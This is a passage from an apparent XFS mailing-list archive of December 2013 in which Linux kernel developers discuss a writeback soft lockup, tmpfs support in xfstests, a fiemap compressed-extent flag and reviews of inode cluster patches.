of the product. This isn't a problem with SSDs in general, but one manufacturer, one new drive model, using a brand new NAND type. -- Stan From david@fromorbit.com Fri Dec 13 04:49:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E5F57F4E for ; Fri, 13 Dec 2013 04:49:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5F3728F8052 for ; Fri, 13 Dec 2013 02:49:27 -0800 (PST) X-ASG-Debug-ID: 1386931754-04cb6c537c707700001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id HHNGMv5W7nATCBin for ; Fri, 13 Dec 2013 02:49:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmkIAN/lqlJ5LHyk/2dsb2JhbABZgwqDPLBjhU+BHxd0giUBAQQBJxMcKAsIAxgJJQ8FJQMhARKHfAfDCBcWjweENgSYFJIVgz4o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Dec 2013 21:18:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrQIf-0004LU-9f; Fri, 13 Dec 2013 21:48:53 +1100 Date: Fri, 13 Dec 2013 21:48:53 +1100 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS / writeback invoking soft lockup. Message-ID: <20131213104853.GS10988@dastard> X-ASG-Orig-Subj: Re: XFS / writeback invoking soft lockup. References: <20131213071407.GA6527@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213071407.GA6527@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386931756 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 02:14:07AM -0500, Dave Jones wrote: > I can hit this pretty reliably on one of my slower test machines. > (8gb ram, 1 slow sata disk) > > the machine is pretty responsive, and recovers after a while. > anything we can do to shut it up ? Actually, I think this indicates a problem. > BUG: soft lockup - CPU#2 stuck for 22s! [kworker/u8:2:8479] ... > Call Trace: > [] lru_add_drain+0x1c/0x39 > [] __pagevec_release+0x10/0x26 > [] write_cache_pages+0x2f9/0x486 That code in write_cache_pages(): 1907 while (!done && (index <= end)) { 1908 int i; 1909 1910 nr_pages = pagevec_lookup_tag(&pvec, mapping, &index, tag, 1911 min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1) 1912 if (nr_pages == 0) 1913 break; 1914 1915 for (i = 0; i < nr_pages; i++) { 1916 struct page *page = pvec.pages[i]; .... .... 2001 } 2002 pagevec_release(&pvec); 2003 cond_resched(); 2004 } So after all the pages in a pagevec are processed, we release the CPU before we grab the next pagevec. This softlockup implies we have been processing this pagevec for 22s. That tells me the code is actually stuck spinning on something, not that this is a false positive. i.e. it should not take 22s to process 14 pages. [ Yes, I know XFS can process more than that ->writepage, but it's still only a millisecond of work if it doesn't block on anything. And it can't be blocking, otherwise we wouldn't be firing the softlockup warning. ] The page cache LRU code is a maze of twisty per-cpu passages that go deep into the mm subsystem and memcg code - I'm not really sure what all that code is doing, so you'll probably have to ask someone who knows about that code. All I can say is that there doesn't look to be any obvious signs that this is a XFS or writeback problem fom the stack trace, and without more information or a reproducable test case I'm not going to be able to understand the cause. Is the problem reproducable, or is it just a one-off? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:01:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BA69C7F50 for ; Fri, 13 Dec 2013 05:01:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A9739304059 for ; Fri, 13 Dec 2013 03:01:43 -0800 (PST) X-ASG-Debug-ID: 1386932488-04cb6c537c707d10001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Xa3LGe2AnjFMT9L4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:01:32 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQUq-0003t4-1X; Fri, 13 Dec 2013 11:01:28 +0000 Date: Fri, 13 Dec 2013 03:01:28 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131213110128.GA14884@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <20131212163629.GA2894@infradead.org> <20131212222438.GJ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212222438.GJ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386932491 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 09:24:38AM +1100, Dave Chinner wrote: > Ok, I agree it is a bit messy, but that code is already pretty ugly. > I'd like to get this fix in first, because it's causing oopses in > roughly 30% of my local xfstests runs on a couple of VMs, so I'd > prefer to get the fix out there now and do the cleanup as a separate > patch series. Would that be an acceptible approach to take here from > your perspective? Ok, let's put the minimal fix in for now and then sort it out. I'll re-review it carefully. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:04:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3325A7F52 for ; Fri, 13 Dec 2013 05:04:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 247CB304059 for ; Fri, 13 Dec 2013 03:04:31 -0800 (PST) X-ASG-Debug-ID: 1386932654-04cbb04168707200001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 7TrfhbFWeCVpsCmH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:04:14 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQXP-0003vZ-I1; Fri, 13 Dec 2013 11:04:07 +0000 Date: Fri, 13 Dec 2013 03:04:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131213110407.GB14884@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> <20131212225657.GK10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212225657.GK10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386932654 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 09:56:57AM +1100, Dave Chinner wrote: > Yes, but that's not the same situation as tmpfs here. A generic > filesystem fits a certain model but the given configuration/kernel > does not necessarily support the feature being tested. Those > features are easily testable by a _requires_* line. > > This case with tmpfs is different - it doesn't support *being > unmounted* during a test because it is volatile. That's a > fundamental change to the assumptions xfstests makes about > filesystems being tested. IOWs, we've got a "generic" filesystem > that is anything but generic. It's not really a fundamental change for tests supposed to be run on the TEST_DIR fs. In fact I'd go so far to say that one patch that unmounts and repairs it manually should switch to the scratch fs. Running the scratch tests on tmpfs is a bit more fragile, but I don't really see a big problem with the concept. > Adding "_requires_non_volatile_fs" to all the generic tests that do > an unmount so that tmpfs can be considered "generic" is just as > painful as modifying the "_supported_fs generic" lines in all the > tests. It just leads us to a game of whack-a-mole. What's the problem? It's not that bad if you look at the series, and as long as someone maintains tmpfs support it shouldn't burden anyone else. If it stops being maintained we can drop the support after a while. Then again we still have utterly bitrotted IRIX support around.. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:08:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0923B7F54 for ; Fri, 13 Dec 2013 05:08:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE1CE8F8070 for ; Fri, 13 Dec 2013 03:08:41 -0800 (PST) X-ASG-Debug-ID: 1386932901-04cbb041677074e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 29urAWVWhxAHAHwz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:08:21 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQZM-0004xm-1n; Fri, 13 Dec 2013 11:06:08 +0000 Date: Fri, 13 Dec 2013 03:06:08 -0800 From: Christoph Hellwig To: Dave Chinner Cc: David Sterba , linux-fsdevel@vger.kernel.org, adilger@dilger.ca, linux-nilfs@vger.kernel.org, mfasheh@suse.com, xfs@oss.sgi.com, hch@infradead.org, linux-btrfs@vger.kernel.org, viro@zeniv.linux.org.uk, linux-ext4@vger.kernel.org, ocfs2-devel@oss.oracle.com Subject: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Message-ID: <20131213110608.GC14884@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag References: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> <20131212232443.GL31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212232443.GL31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386932901 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 10:24:43AM +1100, Dave Chinner wrote: > I'd prefer to just see the new physical length field always filled > out, regardless of whether it is a compressed extent or not. In > terms of backwards compatibility to userspace, it makes no > difference because the value of reserved/unused fields is undefined > by the API. Yes, the implementation zeros them, but there's nothing > in the documentation that says "reserved fields must be zero". > Hence I think we should just set it for every extent. > > >From the point of view of the kernel API (fiemap_fill_next_extent), > passing the physical extent size in the "len" parameter for normal > extents, then passing 0 for the "physical length" makes absolutely > no sense. I tend to agree, but the additional complication here is that this is a change to an existing API. We'd need another HAVE_PHYS_LEN flag for non-compressed extents so that userspace can rely on it. Given that it's only useful for that case I think the userspace API introduced is the best we can get. I think however that we should always pass the phys_len argument in the kernel API just to make it less confusing. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:10:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A2FB47F54 for ; Fri, 13 Dec 2013 05:10:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 933158F8040 for ; Fri, 13 Dec 2013 03:10:50 -0800 (PST) X-ASG-Debug-ID: 1386933039-04cbb04166707690001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id RA4ur66A9PqA3m7E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:10:40 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQdj-00066T-9a; Fri, 13 Dec 2013 11:10:39 +0000 Date: Fri, 13 Dec 2013 03:10:39 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com, Stanislav Kholmanskikh Subject: Re: [PATCH 00/12] run more generic tests on TEST_DIR Message-ID: <20131213111039.GD14884@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 00/12] run more generic tests on TEST_DIR References: <20131211073445.353655850@bombadil.infradead.org> <20131211225012.GL10988@dastard> <20131212180312.GC19422@infradead.org> <20131213010934.GN10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213010934.GN10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933039 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Fri, Dec 13, 2013 at 12:09:34PM +1100, Dave Chinner wrote: > > You can have different test devices, or simply not bother with aging > > it for every run. You're missing the coverage of all the test dir > > using tests, which are a lot with the above version anyway. > > IOWs, you're saying that you don't consider MKFS_OPTIONS as a first > class citizen. I've been using it for 7 or 8 years for exactly this > purpose - iterating testing of a change quickly across multiple > configurations without perturbing the long term aging of the test > device. But you're limiting yourself to the tests only using the scratch device for that testing, leaving out all the ones using the TEST directory. > I'm not opposed to making the change, just pointing out that > reducing the usage of the scratch device has a fairly significant > impact on test coverage for anyone who uses MKFS_OPTIONS in their > workflow... It does have an impact for that particular workload, but I think that workload is broken as you only test your specific config for those tests using the scratch device, and do not get the coverage for the tests using the test device. git-grep -l TEST_DIR tests/generic/ | grep -v out | wc -l 65 git-grep -l TEST_DIR tests/xfs/ | grep -v out | wc -l 23 hch@brick:~/work/xfstests$ git-grep -l _require_scratch tests/generic/ | wc -l 58 hch@brick:~/work/xfstests$ git-grep -l _require_scratch tests/xfs/ | wc -l 128 So you're missing close to 2/3s of the tests already. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:12:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A4DE7F3F for ; Fri, 13 Dec 2013 05:12:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EFAB58F8066 for ; Fri, 13 Dec 2013 03:12:39 -0800 (PST) X-ASG-Debug-ID: 1386933141-04cb6c537c708380001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id GK0XVu1HO7u4tjhz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:12:21 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQfK-00067R-Fg; Fri, 13 Dec 2013 11:12:18 +0000 Date: Fri, 13 Dec 2013 03:12:18 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Junho Ryu , Christoph Hellwig , Hugh Dickins , Theodore Ts'o , Boris Ranto , xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131213111218.GE14884@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> <20131212225657.GK10988@dastard> <20131213014131.GP10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213014131.GP10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933141 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 12:41:31PM +1100, Dave Chinner wrote: > All the generic tests that use dm_flakey are likely to be busted. > Anything assumes SCRATCH_DEV or TEST_DEV are block devices are > busted. These are already busted on nfs, which we've support in some form forever, and cifs, and btrfs with it's pools if they assume the actual device is the block device. > Do loop devices work properly when hosted on tmpfs > filesystems? And so on... They do. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:14:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EA6777F52 for ; Fri, 13 Dec 2013 05:14:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DAF748F8066 for ; Fri, 13 Dec 2013 03:14:44 -0800 (PST) X-ASG-Debug-ID: 1386933277-04cbb041667078a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 2NBebSJJyhNmheKP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:14:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQhZ-00068t-Sd; Fri, 13 Dec 2013 11:14:37 +0000 Date: Fri, 13 Dec 2013 03:14:37 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init Message-ID: <20131213111437.GA23546@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init References: <52A96809.9020702@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A96809.9020702@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933278 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > + * Loop over the new block(s), filling in the inodes. For small block > + * sizes, manipulate the inodes in buffers which are multiples of the > + * blocks size. > */ > + blks_per_cluster = xfs_icluster_size_fsb(mp); > + inodes_per_cluster = blks_per_cluster << mp->m_sb.sb_inopblog; > + nbufs = length / blks_per_cluster; I don't think there's a point to have the nbufs variable as it's used just once as the loop termination condition. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:15:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 00D447F52 for ; Fri, 13 Dec 2013 05:15:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E8F0D304066 for ; Fri, 13 Dec 2013 03:15:29 -0800 (PST) X-ASG-Debug-ID: 1386933306-04cbb04168707910001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id LmArbVM6VUvzqXIB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:15:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQi2-0007BY-0V; Fri, 13 Dec 2013 11:15:06 +0000 Date: Fri, 13 Dec 2013 03:15:05 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 7/8] xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster Message-ID: <20131213111505.GB23546@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 7/8] xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster References: <52A96810.9090400@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A96810.9090400@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933306 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Same comment about nbufs here. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:16:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com 